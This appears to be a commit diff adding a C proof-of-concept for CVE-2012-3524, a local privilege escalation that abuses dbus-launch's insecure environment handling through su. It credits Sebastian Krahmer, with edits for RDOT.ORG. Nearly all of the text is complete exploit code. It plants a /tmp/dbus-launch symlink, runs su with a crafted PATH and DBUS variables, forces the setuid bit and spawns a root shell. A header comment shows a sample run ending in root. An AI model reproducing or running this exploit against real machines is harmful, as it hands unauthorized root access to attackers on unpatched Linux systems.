1
+ /* CVE-2012-3524 PoC (C) 2012 Sebastian Krahmer
2
+ *
3
+ * edited by Pashkela for RDOT.ORG (23.01.2013)
4
+ *
5
+ * su auto vector (need tty + current user password)
6
+ *
7
+ * Trivial non-dbus root exploit. (Yes, it is 2012!)
8
+ *
9
+ * The underlying bug (insecure getenv() by default) has been
10
+ * reported ages ago, but nobody really cared. Unless you have an
11
+ * exploit...
12
+ * ==============================================================
13
+ * Ubuntu 9.04
14
+ *
15
+ * an@an-desktop:~$ uname -a
16
+ * Linux an-desktop 2.6.28-11-generic #42-Ubuntu SMP Fri Apr 17 01:57:59 UTC 2009 i686 GNU/Linux
17
+ * an@an-desktop:~$ gcc s.c -o s
18
+ * an@an-desktop:~$ id
19
+ * uid=1000(an) gid=1000(an) groups=4(adm),20(dialout),24(cdrom),46(plugdev),106(lpadmin),121(admin),122(sambashare),1000(an)
20
+ * an@an-desktop:~$ ./s
21
+ * [**] CVE-2012-3524 xSports -- this is not a dbus exploit!
22
+ *
23
+ *[*] Preparing ...
24
+ *[+] Type current user passwd when asked
25
+ *[*] Waiting 10s for dbus-launch to drop boomshell.
26
+ * Password: .......
27
+ * bash: [+] GOT root!: No such file or directory
28
+ * ...
29
+ * [!] Hurra!
30
+ * bash-3.2# id
31
+ * uid=0(root) gid=1000(an) groups=4(adm),20(dialout),24(cdrom),46(plugdev),106(lpadmin),121(admin),122(sambashare),1000(an)
32
+ * bash-3.2#
33
+ * ==============================================================
34
+ */
35
+
36
+ #include <stdio.h>
37
+ #include <stdlib.h>
38
+ #include <unistd.h>
39
+ #include <errno.h>
40
+ #include <string.h>
41
+ #include <sys/types.h>
42
+ #include <sys/wait.h>
43
+ #include <sys/signal.h>
44
+ #include <sys/stat.h>
45
+
46
+
47
+ int main (int argc , char * * argv )
48
+ {
49
+ int i = 0 ;
50
+ struct stat st ;
51
+ pid_t pid = 0 ;
52
+ char * env [] = {
53
+ "PATH=/tmp:/usr/bin:/usr/sbin:/sbin:/bin" ,
54
+ "DBUS_STARTER_BUS_TYPE=system" ,
55
+ "DBUS_SYSTEM_BUS_ADDRESS=autolaunch:" ,
56
+ NULL ,
57
+ NULL
58
+ };
59
+
60
+
61
+ char * su [] = {"/bin/su" ,NULL ,"[+] GOT root!" , NULL };
62
+
63
+ char * * a = su ;
64
+ char * dbus [] = {"/tmp/dbus-launch" , NULL };
65
+ char * sh [] = {"/bin/bash" , "--noprofile" , "--norc" , NULL };
66
+ char me [0x1000 ];
67
+
68
+ if (geteuid () == 0 && argc > 1 ) {
69
+ chown ("/tmp/dbus-launch" , 0 , 0 );
70
+ chmod ("/tmp/dbus-launch" , 04755 );
71
+ exit (errno );
72
+ } else if (geteuid () == 0 ) {
73
+ setuid (0 );
74
+ execve (* sh , sh , NULL );
75
+ return errno ;
76
+ }
77
+
78
+ printf ("[**] CVE-2012-3524 xSports -- this is not a dbus exploit!\n\n[*] Preparing ...\n" );
79
+ memset (me , 0 , sizeof (me ));
80
+
81
+ if (readlink ("/proc/self/exe" , me , sizeof (me ) - 1 ) < 0 ) {
82
+ /* Solaris */
83
+ readlink ("/proc/self/path/a.out" , me , sizeof (me ) - 1 );
84
+ }
85
+ symlink (me , "/tmp/dbus-launch" );
86
+ printf ("[+] Type current user passwd when asked\n" );
87
+ env [3 ] = "DISPLAY=:7350" ;
88
+ su [1 ] = getenv ("USER" );
89
+ a = su ;
90
+
91
+ if ((pid = fork ()) == 0 ) {
92
+ execve (* a , a , env );
93
+ exit (0 );
94
+ }
95
+
96
+ printf ("[*] Waiting 10s for dbus-launch to drop boomshell.\n" );
97
+
98
+ for (i = 0 ; i < 10 ; ++ i ) {
99
+ sleep (1 );
100
+ printf ("." ); fflush (stdout );
101
+ }
102
+ kill (pid , SIGKILL );
103
+ waitpid (pid , NULL , 0 );
104
+
105
+ for (;;) {
106
+ stat (* dbus , & st );
107
+ if ((st .st_mode & 04755 ) == 04755 )
108
+ break ;
109
+ sleep (1 );
110
+ }
111
+ printf ("\n[!] Hurra!\n" );
112
+
113
+ execve (* dbus , dbus , NULL );
114
+ return errno ;
115
+ }
0 commit comments